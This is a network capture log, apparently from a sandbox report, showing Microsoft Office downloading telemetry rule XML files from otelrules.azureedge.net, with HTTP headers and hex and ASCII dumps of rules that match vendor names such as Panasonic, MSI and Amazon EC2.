2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a0g0000000037gw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95cp7lkfhC1NYC7rpw00000009xg00000000auw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054027Z-185f5d8b95c96jn4hC1NYCbgp800000009x000000000015c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95cx9g8lhC1NYCtgvc0000000280000000000xxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-1777c6cb754lv4cqhC1TEB13us000000093g00000000e408 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95c68cvnhC1NYCfn7s00000009qg00000000nkqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:26 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:25 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:25 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054025Z-185f5d8b95c9mqtvhC1NYCghtc00000009s000000000sn0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:26 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:26 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054026Z-1777c6cb754wcxkwhC1TEB3c6w000000090g00000000gz7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:26 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:26 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054026Z-185f5d8b95cx9g8lhC1NYCtgvc000000022g00000000pfg2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:26 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054026Z-r1d97b995778dpcthC1TEB4b5400000008a0000000008tza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054026Z-185f5d8b95c9mqtvhC1NYCghtc00000009yg0000000022s4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054027Z-185f5d8b95c9mqtvhC1NYCghtc00000009vg00000000bw88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> 